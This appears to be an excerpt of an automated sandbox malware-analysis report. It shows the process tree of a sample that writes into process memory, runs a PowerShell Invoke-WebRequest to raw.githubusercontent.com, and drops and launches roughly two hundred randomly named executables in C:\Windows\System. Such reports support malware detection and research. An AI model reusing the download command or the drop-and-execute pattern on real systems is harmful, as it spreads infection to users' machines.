PID 2320 wrote to memory of 2400	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	42
PID 2320 wrote to memory of 2600	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	43
PID 2320 wrote to memory of 2600	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	43
PID 2320 wrote to memory of 2600	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	43
PID 2320 wrote to memory of 1068	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	44
PID 2320 wrote to memory of 1068	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	44
PID 2320 wrote to memory of 1068	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	44
PID 2320 wrote to memory of 2860	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	45
PID 2320 wrote to memory of 2860	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	45
PID 2320 wrote to memory of 2860	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	45
PID 2320 wrote to memory of 1216	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	46
PID 2320 wrote to memory of 1216	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	46
PID 2320 wrote to memory of 1216	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	46
PID 2320 wrote to memory of 2080	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	47
PID 2320 wrote to memory of 2080	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	47
PID 2320 wrote to memory of 2080	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	47
PID 2320 wrote to memory of 760	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	48
PID 2320 wrote to memory of 760	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	48
PID 2320 wrote to memory of 760	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	48
PID 2320 wrote to memory of 1660	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	49
PID 2320 wrote to memory of 1660	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	49
PID 2320 wrote to memory of 1660	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	49
PID 2320 wrote to memory of 1292	2320	bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\bbfbca5efaccf17ba2dd4cfac3393400_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2196
- C:\Windows\System\tiXNHbr.exe
  C:\Windows\System\tiXNHbr.exe
  2⤵
  - Executes dropped EXE
  PID:2236
- C:\Windows\System\nEdpqvf.exe
  C:\Windows\System\nEdpqvf.exe
  2⤵
  - Executes dropped EXE
  PID:2880
- C:\Windows\System\kFtpVxj.exe
  C:\Windows\System\kFtpVxj.exe
  2⤵
  - Executes dropped EXE
  PID:2240
- C:\Windows\System\blKYHfz.exe
  C:\Windows\System\blKYHfz.exe
  2⤵
  - Executes dropped EXE
  PID:2032
- C:\Windows\System\xVaoClJ.exe
  C:\Windows\System\xVaoClJ.exe
  2⤵
  - Executes dropped EXE
  PID:3000
- C:\Windows\System\LOPIPmp.exe
  C:\Windows\System\LOPIPmp.exe
  2⤵
  - Executes dropped EXE
  PID:2912
- C:\Windows\System\uDiFbfc.exe
  C:\Windows\System\uDiFbfc.exe
  2⤵
  - Executes dropped EXE
  PID:2972
- C:\Windows\System\wuoKbuj.exe
  C:\Windows\System\wuoKbuj.exe
  2⤵
  - Executes dropped EXE
  PID:2592
- C:\Windows\System\rjnLzPG.exe
  C:\Windows\System\rjnLzPG.exe
  2⤵
  - Executes dropped EXE
  PID:2784
- C:\Windows\System\RbYoeMz.exe
  C:\Windows\System\RbYoeMz.exe
  2⤵
  - Executes dropped EXE
  PID:2772
- C:\Windows\System\ZloYCAT.exe
  C:\Windows\System\ZloYCAT.exe
  2⤵
  - Executes dropped EXE
  PID:2564
- C:\Windows\System\dahuVYp.exe
  C:\Windows\System\dahuVYp.exe
  2⤵
  - Executes dropped EXE
  PID:2612
- C:\Windows\System\oWPLkQw.exe
  C:\Windows\System\oWPLkQw.exe
  2⤵
  - Executes dropped EXE
  PID:2400
- C:\Windows\System\wCuVITL.exe
  C:\Windows\System\wCuVITL.exe
  2⤵
  - Executes dropped EXE
  PID:2600
- C:\Windows\System\qtSHsBk.exe
  C:\Windows\System\qtSHsBk.exe
  2⤵
  - Executes dropped EXE
  PID:1068
- C:\Windows\System\KXEuZOc.exe
  C:\Windows\System\KXEuZOc.exe
  2⤵
  - Executes dropped EXE
  PID:2860
- C:\Windows\System\PLvVEau.exe
  C:\Windows\System\PLvVEau.exe
  2⤵
  - Executes dropped EXE
  PID:1216
- C:\Windows\System\IHDNdBQ.exe
  C:\Windows\System\IHDNdBQ.exe
  2⤵
  - Executes dropped EXE
  PID:2080
- C:\Windows\System\ffcnWPj.exe
  C:\Windows\System\ffcnWPj.exe
  2⤵
  - Executes dropped EXE
  PID:760
- C:\Windows\System\xfLsCWs.exe
  C:\Windows\System\xfLsCWs.exe
  2⤵
  - Executes dropped EXE
  PID:1660
- C:\Windows\System\blguYdq.exe
  C:\Windows\System\blguYdq.exe
  2⤵
  - Executes dropped EXE
  PID:1292
- C:\Windows\System\kWdjwov.exe
  C:\Windows\System\kWdjwov.exe
  2⤵
  - Executes dropped EXE
  PID:2180
- C:\Windows\System\DSTxKIX.exe
  C:\Windows\System\DSTxKIX.exe
  2⤵
  - Executes dropped EXE
  PID:944
- C:\Windows\System\eDOouGg.exe
  C:\Windows\System\eDOouGg.exe
  2⤵
  - Executes dropped EXE
  PID:1640
- C:\Windows\System\IoQvBHI.exe
  C:\Windows\System\IoQvBHI.exe
  2⤵
  - Executes dropped EXE
  PID:2696
- C:\Windows\System\KADhBWQ.exe
  C:\Windows\System\KADhBWQ.exe
  2⤵
  - Executes dropped EXE
  PID:676
- C:\Windows\System\iIXzbUQ.exe
  C:\Windows\System\iIXzbUQ.exe
  2⤵
  - Executes dropped EXE
  PID:2840
- C:\Windows\System\KCbwGMm.exe
  C:\Windows\System\KCbwGMm.exe
  2⤵
  - Executes dropped EXE
  PID:2720
- C:\Windows\System\tWycOTa.exe
  C:\Windows\System\tWycOTa.exe
  2⤵
  - Executes dropped EXE
  PID:1928
- C:\Windows\System\PpWkppZ.exe
  C:\Windows\System\PpWkppZ.exe
  2⤵
  - Executes dropped EXE
  PID:2672
- C:\Windows\System\gJhZPcW.exe
  C:\Windows\System\gJhZPcW.exe
  2⤵
  - Executes dropped EXE
  PID:2040
- C:\Windows\System\XxGtvTO.exe
  C:\Windows\System\XxGtvTO.exe
  2⤵
  - Executes dropped EXE
  PID:428
- C:\Windows\System\gyhjavH.exe
  C:\Windows\System\gyhjavH.exe
  2⤵
  - Executes dropped EXE
  PID:2132
- C:\Windows\System\SOBAeIQ.exe
  C:\Windows\System\SOBAeIQ.exe
  2⤵
  - Executes dropped EXE
  PID:1960
- C:\Windows\System\HMubduq.exe
  C:\Windows\System\HMubduq.exe
  2⤵
  - Executes dropped EXE
  PID:2344
- C:\Windows\System\iWANVwo.exe
  C:\Windows\System\iWANVwo.exe
  2⤵
  - Executes dropped EXE
  PID:1200
- C:\Windows\System\KgLojeL.exe
  C:\Windows\System\KgLojeL.exe
  2⤵
  - Executes dropped EXE
  PID:1484
- C:\Windows\System\PsEspIe.exe
  C:\Windows\System\PsEspIe.exe
  2⤵
  - Executes dropped EXE
  PID:1012
- C:\Windows\System\AIChxjw.exe
  C:\Windows\System\AIChxjw.exe
  2⤵
  - Executes dropped EXE
  PID:1136
- C:\Windows\System\PmqFhIy.exe
  C:\Windows\System\PmqFhIy.exe
  2⤵
  - Executes dropped EXE
  PID:1096
- C:\Windows\System\YwbzVnu.exe
  C:\Windows\System\YwbzVnu.exe
  2⤵
  - Executes dropped EXE
  PID:108
- C:\Windows\System\SRoXLNw.exe
  C:\Windows\System\SRoXLNw.exe
  2⤵
  - Executes dropped EXE
  PID:2788
- C:\Windows\System\lYmpONq.exe
  C:\Windows\System\lYmpONq.exe
  2⤵
  - Executes dropped EXE
  PID:3068
- C:\Windows\System\lhZvlxS.exe
  C:\Windows\System\lhZvlxS.exe
  2⤵
  - Executes dropped EXE
  PID:1268
- C:\Windows\System\CaHaMBl.exe
  C:\Windows\System\CaHaMBl.exe
  2⤵
  - Executes dropped EXE
  PID:2936
- C:\Windows\System\ZHsQBSg.exe
  C:\Windows\System\ZHsQBSg.exe
  2⤵
  - Executes dropped EXE
  PID:2964
- C:\Windows\System\gKVaTbR.exe
  C:\Windows\System\gKVaTbR.exe
  2⤵
  - Executes dropped EXE
  PID:2084
- C:\Windows\System\MLLQbpw.exe
  C:\Windows\System\MLLQbpw.exe
  2⤵
  - Executes dropped EXE
  PID:2104
- C:\Windows\System\Brlinrm.exe
  C:\Windows\System\Brlinrm.exe
  2⤵
  - Executes dropped EXE
  PID:3048
- C:\Windows\System\CuSoizU.exe
  C:\Windows\System\CuSoizU.exe
  2⤵
  - Executes dropped EXE
  PID:1748
- C:\Windows\System\XBlrgjS.exe
  C:\Windows\System\XBlrgjS.exe
  2⤵
  - Executes dropped EXE
  PID:1756
- C:\Windows\System\oiJNEqd.exe
  C:\Windows\System\oiJNEqd.exe
  2⤵
  - Executes dropped EXE
  PID:2896
- C:\Windows\System\gIMguFK.exe
  C:\Windows\System\gIMguFK.exe
  2⤵
  - Executes dropped EXE
  PID:2816
- C:\Windows\System\aVPrOTw.exe
  C:\Windows\System\aVPrOTw.exe
  2⤵
  - Executes dropped EXE
  PID:2824
- C:\Windows\System\XrDWpzj.exe
  C:\Windows\System\XrDWpzj.exe
  2⤵
  - Executes dropped EXE
  PID:2224
- C:\Windows\System\djMwcjS.exe
  C:\Windows\System\djMwcjS.exe
  2⤵
  - Executes dropped EXE
  PID:1648
- C:\Windows\System\uDnSwhG.exe
  C:\Windows\System\uDnSwhG.exe
  2⤵
  - Executes dropped EXE
  PID:2656
- C:\Windows\System\BAxOZwO.exe
  C:\Windows\System\BAxOZwO.exe
  2⤵
  - Executes dropped EXE
  PID:2524
- C:\Windows\System\gNLNmXJ.exe
  C:\Windows\System\gNLNmXJ.exe
  2⤵
  - Executes dropped EXE
  PID:2908
- C:\Windows\System\emegone.exe
  C:\Windows\System\emegone.exe
  2⤵
  - Executes dropped EXE
  PID:2604
- C:\Windows\System\zEORrKW.exe
  C:\Windows\System\zEORrKW.exe
  2⤵
  - Executes dropped EXE
  PID:2528
- C:\Windows\System\PRNtaQZ.exe
  C:\Windows\System\PRNtaQZ.exe
  2⤵
  PID:2768
- C:\Windows\System\cnBPCLz.exe
  C:\Windows\System\cnBPCLz.exe
  2⤵
  - Executes dropped EXE
  PID:2516
- C:\Windows\System\gAxuqzM.exe
  C:\Windows\System\gAxuqzM.exe
  2⤵
  PID:2852
- C:\Windows\System\thUchHU.exe
  C:\Windows\System\thUchHU.exe
  2⤵
  - Executes dropped EXE
  PID:1676
- C:\Windows\System\sMmZdEc.exe
  C:\Windows\System\sMmZdEc.exe
  2⤵
  PID:1668
- C:\Windows\System\eTIIzXX.exe
  C:\Windows\System\eTIIzXX.exe
  2⤵
  - Executes dropped EXE
  PID:1112
- C:\Windows\System\PzXhvhC.exe
  C:\Windows\System\PzXhvhC.exe
  2⤵
  PID:948
- C:\Windows\System\LLEnKOr.exe
  C:\Windows\System\LLEnKOr.exe
  2⤵
  PID:1532
- C:\Windows\System\IpffcdT.exe
  C:\Windows\System\IpffcdT.exe
  2⤵
  PID:476
- C:\Windows\System\fzyhDtO.exe
  C:\Windows\System\fzyhDtO.exe
  2⤵
  PID:1716
- C:\Windows\System\dXXBHeq.exe
  C:\Windows\System\dXXBHeq.exe
  2⤵
  PID:2708
- C:\Windows\System\YSdTcck.exe
  C:\Windows\System\YSdTcck.exe
  2⤵
  PID:1056
- C:\Windows\System\IUprsPc.exe
  C:\Windows\System\IUprsPc.exe
  2⤵
  PID:2744
- C:\Windows\System\sVjLauj.exe
  C:\Windows\System\sVjLauj.exe
  2⤵
  PID:1144
- C:\Windows\System\SmKJPwr.exe
  C:\Windows\System\SmKJPwr.exe
  2⤵
  PID:2688
- C:\Windows\System\TqEtWvo.exe
  C:\Windows\System\TqEtWvo.exe
  2⤵
  PID:1708
- C:\Windows\System\BVlIqip.exe
  C:\Windows\System\BVlIqip.exe
  2⤵
  PID:2844
- C:\Windows\System\JAACtzd.exe
  C:\Windows\System\JAACtzd.exe
  2⤵
  PID:2848
- C:\Windows\System\kkMTNTY.exe
  C:\Windows\System\kkMTNTY.exe
  2⤵
  PID:3024
- C:\Windows\System\eNTEHSc.exe
  C:\Windows\System\eNTEHSc.exe
  2⤵
  PID:932
- C:\Windows\System\NAIlPLY.exe
  C:\Windows\System\NAIlPLY.exe
  2⤵
  PID:1768
- C:\Windows\System\cwajVpN.exe
  C:\Windows\System\cwajVpN.exe
  2⤵
  PID:2268
- C:\Windows\System\CKDPFvR.exe
  C:\Windows\System\CKDPFvR.exe
  2⤵
  PID:612
- C:\Windows\System\qfdrner.exe
  C:\Windows\System\qfdrner.exe
  2⤵
  PID:2416
- C:\Windows\System\IBvCiYX.exe
  C:\Windows\System\IBvCiYX.exe
  2⤵
  PID:1808
- C:\Windows\System\joOmdID.exe
  C:\Windows\System\joOmdID.exe
  2⤵
  PID:688
- C:\Windows\System\pEpnJMf.exe
  C:\Windows\System\pEpnJMf.exe
  2⤵
  PID:960
- C:\Windows\System\wxmPTWr.exe
  C:\Windows\System\wxmPTWr.exe
  2⤵
  PID:2256
- C:\Windows\System\vbGZLXB.exe
  C:\Windows\System\vbGZLXB.exe
  2⤵
  PID:1784
- C:\Windows\System\HTAfYYd.exe
  C:\Windows\System\HTAfYYd.exe
  2⤵
  PID:3020
- C:\Windows\System\evXIKPq.exe
  C:\Windows\System\evXIKPq.exe
  2⤵
  PID:2812
- C:\Windows\System\KjELQPm.exe
  C:\Windows\System\KjELQPm.exe
  2⤵
  PID:2340
- C:\Windows\System\nJVIJGR.exe
  C:\Windows\System\nJVIJGR.exe
  2⤵
  PID:2424
- C:\Windows\System\exGPhio.exe
  C:\Windows\System\exGPhio.exe
  2⤵
  PID:2388
- C:\Windows\System\UKnGelp.exe
  C:\Windows\System\UKnGelp.exe
  2⤵
  PID:1516
- C:\Windows\System\jPKMVvt.exe
  C:\Windows\System\jPKMVvt.exe
  2⤵
  PID:520
- C:\Windows\System\KxmWGhy.exe
  C:\Windows\System\KxmWGhy.exe
  2⤵
  PID:980
- C:\Windows\System\FaeoHVo.exe
  C:\Windows\System\FaeoHVo.exe
  2⤵
  PID:1988
- C:\Windows\System\dCLzJaL.exe
  C:\Windows\System\dCLzJaL.exe
  2⤵
  PID:2556
- C:\Windows\System\vNrrDOU.exe
  C:\Windows\System\vNrrDOU.exe
  2⤵
  PID:1456
- C:\Windows\System\vZPNiPB.exe
  C:\Windows\System\vZPNiPB.exe
  2⤵
  PID:2204
- C:\Windows\System\WVDcErI.exe
  C:\Windows\System\WVDcErI.exe
  2⤵
  PID:1416
- C:\Windows\System\BqtuhFv.exe
  C:\Windows\System\BqtuhFv.exe
  2⤵
  PID:2988
- C:\Windows\System\CNSWbKG.exe
  C:\Windows\System\CNSWbKG.exe
  2⤵
  PID:1060
- C:\Windows\System\rIvzUuL.exe
  C:\Windows\System\rIvzUuL.exe
  2⤵
  PID:2792
- C:\Windows\System\SCrMNax.exe
  C:\Windows\System\SCrMNax.exe
  2⤵
  PID:1564
- C:\Windows\System\btvlITT.exe
  C:\Windows\System\btvlITT.exe
  2⤵
  PID:1120
- C:\Windows\System\ZSkfDFi.exe
  C:\Windows\System\ZSkfDFi.exe
  2⤵
  PID:2408
- C:\Windows\System\fvlLtbE.exe
  C:\Windows\System\fvlLtbE.exe
  2⤵
  PID:2676
- C:\Windows\System\nEXagMu.exe
  C:\Windows\System\nEXagMu.exe
  2⤵
  PID:2464
- C:\Windows\System\ISGqmJU.exe
  C:\Windows\System\ISGqmJU.exe
  2⤵
  PID:2636
- C:\Windows\System\KZhPyIh.exe
  C:\Windows\System\KZhPyIh.exe
  2⤵
  PID:1204
- C:\Windows\System\DrEDFaG.exe
  C:\Windows\System\DrEDFaG.exe
  2⤵
  PID:2520
- C:\Windows\System\nycJreO.exe
  C:\Windows\System\nycJreO.exe
  2⤵
  PID:2940
- C:\Windows\System\ccOlLyk.exe
  C:\Windows\System\ccOlLyk.exe
  2⤵
  PID:2960
- C:\Windows\System\tokzohC.exe
  C:\Windows\System\tokzohC.exe
  2⤵
  PID:552
- C:\Windows\System\BjUHUDA.exe
  C:\Windows\System\BjUHUDA.exe
  2⤵
  PID:2740
- C:\Windows\System\RhkGlRG.exe
  C:\Windows\System\RhkGlRG.exe
  2⤵
  PID:2536
- C:\Windows\System\MkgpkFn.exe
  C:\Windows\System\MkgpkFn.exe
  2⤵
  PID:2496
- C:\Windows\System\nhWiVOg.exe
  C:\Windows\System\nhWiVOg.exe
  2⤵
  PID:2020
- C:\Windows\System\MljqfIX.exe
  C:\Windows\System\MljqfIX.exe
  2⤵
  PID:2904
- C:\Windows\System\wxGBxqF.exe
  C:\Windows\System\wxGBxqF.exe
  2⤵
  PID:2336
- C:\Windows\System\YQIzlnB.exe
  C:\Windows\System\YQIzlnB.exe
  2⤵
  PID:2088
- C:\Windows\System\roglOTn.exe
  C:\Windows\System\roglOTn.exe
  2⤵
  PID:1840
- C:\Windows\System\kKaZMDs.exe
  C:\Windows\System\kKaZMDs.exe
  2⤵
  PID:2280
- C:\Windows\System\tWyWTRh.exe
  C:\Windows\System\tWyWTRh.exe
  2⤵
  PID:1652
- C:\Windows\System\QOMbXbf.exe
  C:\Windows\System\QOMbXbf.exe
  2⤵
  PID:1088
- C:\Windows\System\HpVSIbS.exe
  C:\Windows\System\HpVSIbS.exe
  2⤵
  PID:2372
- C:\Windows\System\hrTSijo.exe
  C:\Windows\System\hrTSijo.exe
  2⤵
  PID:1468
- C:\Windows\System\LVAHKQH.exe
  C:\Windows\System\LVAHKQH.exe
  2⤵
  PID:2264
- C:\Windows\System\xlyVfeR.exe
  C:\Windows\System\xlyVfeR.exe
  2⤵
  PID:2540
- C:\Windows\System\yRiOdtQ.exe
  C:\Windows\System\yRiOdtQ.exe
  2⤵
  PID:2508
- C:\Windows\System\vFJplga.exe
  C:\Windows\System\vFJplga.exe
  2⤵
  PID:832
- C:\Windows\System\FdIEHLt.exe
  C:\Windows\System\FdIEHLt.exe
  2⤵
  PID:2112
- C:\Windows\System\jnWwsvY.exe
  C:\Windows\System\jnWwsvY.exe
  2⤵
  PID:2356
- C:\Windows\System\XnmeEJW.exe
  C:\Windows\System\XnmeEJW.exe
  2⤵
  PID:2384
- C:\Windows\System\vdjCovj.exe
  C:\Windows\System\vdjCovj.exe
  2⤵
  PID:276
- C:\Windows\System\HuqiFJK.exe
  C:\Windows\System\HuqiFJK.exe
  2⤵
  PID:1956
- C:\Windows\System\EbZzFAm.exe
  C:\Windows\System\EbZzFAm.exe
  2⤵
  PID:2244
- C:\Windows\System\LOZzjDv.exe
  C:\Windows\System\LOZzjDv.exe
  2⤵
  PID:1512
- C:\Windows\System\YtwSZJQ.exe
  C:\Windows\System\YtwSZJQ.exe
  2⤵
  PID:1736
- C:\Windows\System\bFabtQO.exe
  C:\Windows\System\bFabtQO.exe
  2⤵
  PID:3080
- C:\Windows\System\NNJxrxk.exe
  C:\Windows\System\NNJxrxk.exe
  2⤵
  PID:3096
- C:\Windows\System\eiqyjXM.exe
  C:\Windows\System\eiqyjXM.exe
  2⤵
  PID:3128
- C:\Windows\System\jUTmMzc.exe
  C:\Windows\System\jUTmMzc.exe
  2⤵
  PID:3148
- C:\Windows\System\ZpBlOdv.exe
  C:\Windows\System\ZpBlOdv.exe
  2⤵
  PID:3164
- C:\Windows\System\xzfsUrM.exe
  C:\Windows\System\xzfsUrM.exe
  2⤵
  PID:3184
- C:\Windows\System\pZIOcNC.exe
  C:\Windows\System\pZIOcNC.exe
  2⤵
  PID:3204
- C:\Windows\System\diVAAPf.exe
  C:\Windows\System\diVAAPf.exe
  2⤵
  PID:3220
- C:\Windows\System\pXdSjzZ.exe
  C:\Windows\System\pXdSjzZ.exe
  2⤵
  PID:3236
- C:\Windows\System\MxSKePN.exe
  C:\Windows\System\MxSKePN.exe
  2⤵
  PID:3256
- C:\Windows\System\LvjLWNw.exe
  C:\Windows\System\LvjLWNw.exe
  2⤵
  PID:3280
- C:\Windows\System\oBDaopV.exe
  C:\Windows\System\oBDaopV.exe
  2⤵
  PID:3300
- C:\Windows\System\tJewzdE.exe
  C:\Windows\System\tJewzdE.exe
  2⤵
  PID:3316
- C:\Windows\System\odrqCBM.exe
  C:\Windows\System\odrqCBM.exe
  2⤵
  PID:3332
- C:\Windows\System\rsCdEZB.exe
  C:\Windows\System\rsCdEZB.exe
  2⤵
  PID:3352
- C:\Windows\System\SKsTdLq.exe
  C:\Windows\System\SKsTdLq.exe
  2⤵
  PID:3368
- C:\Windows\System\iSzAKkn.exe
  C:\Windows\System\iSzAKkn.exe
  2⤵
  PID:3392
- C:\Windows\System\SSorPAz.exe
  C:\Windows\System\SSorPAz.exe
  2⤵
  PID:3408
- C:\Windows\System\FilnreP.exe
  C:\Windows\System\FilnreP.exe
  2⤵
  PID:3424
- C:\Windows\System\HIEJodA.exe
  C:\Windows\System\HIEJodA.exe
  2⤵
  PID:3440
- C:\Windows\System\SryhnuR.exe
  C:\Windows\System\SryhnuR.exe
  2⤵
  PID:3464
- C:\Windows\System\GUypdjX.exe
  C:\Windows\System\GUypdjX.exe
  2⤵
  PID:3480
- C:\Windows\System\EMYTsDp.exe
  C:\Windows\System\EMYTsDp.exe
  2⤵
  PID:3496
- C:\Windows\System\dQNcbpg.exe
  C:\Windows\System\dQNcbpg.exe
  2⤵
  PID:3512
- C:\Windows\System\GMPmuKC.exe
  C:\Windows\System\GMPmuKC.exe
  2⤵
  PID:3548
- C:\Windows\System\vOFYvgn.exe
  C:\Windows\System\vOFYvgn.exe
  2⤵
  PID:3564
- C:\Windows\System\irBAKgr.exe
  C:\Windows\System\irBAKgr.exe
  2⤵
  PID:3584
- C:\Windows\System\EqETcxm.exe
  C:\Windows\System\EqETcxm.exe
  2⤵
  PID:3604
- C:\Windows\System\wQVHyEg.exe
  C:\Windows\System\wQVHyEg.exe
  2⤵
  PID:3624
- C:\Windows\System\DnRiopN.exe
  C:\Windows\System\DnRiopN.exe
  2⤵
  PID:3640
- C:\Windows\System\xyGEBaT.exe
  C:\Windows\System\xyGEBaT.exe
  2⤵
  PID:3664
- C:\Windows\System\EsJYVMx.exe
  C:\Windows\System\EsJYVMx.exe
  2⤵
  PID:3680
- C:\Windows\System\cgJxwdo.exe
  C:\Windows\System\cgJxwdo.exe
  2⤵
  PID:3696
- C:\Windows\System\wxmUsPb.exe
  C:\Windows\System\wxmUsPb.exe
  2⤵
  PID:3728
- C:\Windows\System\OUPetoR.exe
  C:\Windows\System\OUPetoR.exe
  2⤵
  PID:3744
- C:\Windows\System\lTQGrrH.exe
  C:\Windows\System\lTQGrrH.exe
  2⤵
  PID:3760
- C:\Windows\System\kigZNmB.exe
  C:\Windows\System\kigZNmB.exe
  2⤵
  PID:3780
- C:\Windows\System\SANIbOD.exe
  C:\Windows\System\SANIbOD.exe
  2⤵
  PID:3796
- C:\Windows\System\SrJtkPy.exe
  C:\Windows\System\SrJtkPy.exe
  2⤵
  PID:3816
- C:\Windows\System\hqlayOR.exe
  C:\Windows\System\hqlayOR.exe
  2⤵
  PID:3836
- C:\Windows\System\wOsxuvZ.exe
  C:\Windows\System\wOsxuvZ.exe
  2⤵
  PID:3852
- C:\Windows\System\zFJbuBq.exe
  C:\Windows\System\zFJbuBq.exe
  2⤵
  PID:3868
- C:\Windows\System\bsJdmmb.exe
  C:\Windows\System\bsJdmmb.exe
  2⤵
  PID:3884
- C:\Windows\System\HdCnvNC.exe
  C:\Windows\System\HdCnvNC.exe
  2⤵
  PID:3900
- C:\Windows\System\HxfqDSQ.exe
  C:\Windows\System\HxfqDSQ.exe
  2⤵
  PID:3956
- C:\Windows\System\nTRNHXZ.exe
  C:\Windows\System\nTRNHXZ.exe
  2⤵
  PID:3980
- C:\Windows\System\UZTOPqb.exe
  C:\Windows\System\UZTOPqb.exe
  2⤵
  PID:4000
- C:\Windows\System\clOiyxj.exe
  C:\Windows\System\clOiyxj.exe
  2⤵
  PID:4016
- C:\Windows\System\NCexNPA.exe
  C:\Windows\System\NCexNPA.exe
  2⤵
  PID:4060
- C:\Windows\System\jBUIrRR.exe
  C:\Windows\System\jBUIrRR.exe
  2⤵
  PID:4076
- C:\Windows\System\jDsPqGF.exe
  C:\Windows\System\jDsPqGF.exe
  2⤵
  PID:780
- C:\Windows\System\OyGYJPy.exe
  C:\Windows\System\OyGYJPy.exe
  2⤵
  PID:2664
- C:\Windows\System\VuRiEai.exe
  C:\Windows\System\VuRiEai.exe
  2⤵
  PID:2800
- C:\Windows\System\lKETjPC.exe
  C:\Windows\System\lKETjPC.exe
  2⤵
  PID:2228
- C:\Windows\System\ZbGumpk.exe
  C:\Windows\System\ZbGumpk.exe
  2⤵
  PID:2944
- C:\Windows\System\tjbGGGT.exe
  C:\Windows\System\tjbGGGT.exe
  2⤵
  PID:1604
- C:\Windows\System\yVOGDMZ.exe
  C:\Windows\System\yVOGDMZ.exe
  2⤵
  PID:1616
- C:\Windows\System\dHLAHvG.exe
  C:\Windows\System\dHLAHvG.exe
  2⤵
  PID:3136
- C:\Windows\System\UGPTRxF.exe
  C:\Windows\System\UGPTRxF.exe
  2⤵
  PID:3180
- C:\Windows\System\OFqLrRG.exe
  C:\Windows\System\OFqLrRG.exe
  2⤵
  PID:2648
- C:\Windows\System\XKryZuw.exe
  C:\Windows\System\XKryZuw.exe
  2⤵
  PID:3248
- C:\Windows\System\ZOIrzkD.exe
  C:\Windows\System\ZOIrzkD.exe
  2⤵
  PID:3120
- C:\Windows\System\PJjDSJh.exe
  C:\Windows\System\PJjDSJh.exe
  2⤵
  PID:3124
- C:\Windows\System\hnNyzwD.exe
  C:\Windows\System\hnNyzwD.exe
  2⤵
  PID:3156
- C:\Windows\System\LIzvWhN.exe
  C:\Windows\System\LIzvWhN.exe
  2⤵
  PID:3364
- C:\Windows\System\TiQDveC.exe
  C:\Windows\System\TiQDveC.exe
  2⤵
  PID:3228
- C:\Windows\System\dwEmeng.exe
  C:\Windows\System\dwEmeng.exe
  2⤵
  PID:3404
- C:\Windows\System\twToiZT.exe
  C:\Windows\System\twToiZT.exe
  2⤵
  PID:3344
- C:\Windows\System\VptKhWn.exe
  C:\Windows\System\VptKhWn.exe
  2⤵
  PID:3340
- C:\Windows\System\COnsLjU.exe
  C:\Windows\System\COnsLjU.exe
  2⤵
  PID:3504
- C:\Windows\System\wzMhkep.exe
  C:\Windows\System\wzMhkep.exe
  2⤵
  PID:3452
- C:\Windows\System\VghxKnx.exe
  C:\Windows\System\VghxKnx.exe
  2⤵
  PID:3456
- C:\Windows\System\OgiwVzT.exe
  C:\Windows\System\OgiwVzT.exe
  2⤵
  PID:3592
- C:\Windows\System\GJgjhEq.exe
  C:\Windows\System\GJgjhEq.exe
  2⤵
  PID:3596
- C:\Windows\System\MfvxIXa.exe
  C:\Windows\System\MfvxIXa.exe
  2⤵
  PID:3536
- C:\Windows\System\GgMXAdN.exe
  C:\Windows\System\GgMXAdN.exe
  2⤵
  PID:3544
- C:\Windows\System\SrJxUUT.exe
  C:\Windows\System\SrJxUUT.exe
  2⤵
  PID:3676
- C:\Windows\System\xtuvqGb.exe
  C:\Windows\System\xtuvqGb.exe
  2⤵
  PID:3612
- C:\Windows\System\XQelnNP.exe
  C:\Windows\System\XQelnNP.exe
  2⤵
  PID:3716
- C:\Windows\System\HaxoSfE.exe
  C:\Windows\System\HaxoSfE.exe
  2⤵
  PID:3756
- C:\Windows\System\pdSgwOm.exe
  C:\Windows\System\pdSgwOm.exe
  2⤵
  PID:1684
- C:\Windows\System\QHHoOJM.exe
  C:\Windows\System\QHHoOJM.exe
  2⤵
  PID:3880
- C:\Windows\System\EzUFFBT.exe
  C:\Windows\System\EzUFFBT.exe
  2⤵
  PID:3912
- C:\Windows\System\cHoJEKQ.exe
  C:\Windows\System\cHoJEKQ.exe
  2⤵
  PID:3876
- C:\Windows\System\MUEfmdh.exe
  C:\Windows\System\MUEfmdh.exe
  2⤵
  PID:3928
- C:\Windows\System\iLwIivN.exe
  C:\Windows\System\iLwIivN.exe
  2⤵
  PID:3944
- C:\Windows\System\xgWzcWI.exe
  C:\Windows\System\xgWzcWI.exe
  2⤵
  PID:3992
- C:\Windows\System\BtSPQnd.exe
  C:\Windows\System\BtSPQnd.exe
  2⤵
  PID:1976
- C:\Windows\System\kECXkSg.exe
  C:\Windows\System\kECXkSg.exe
  2⤵
  PID:3988
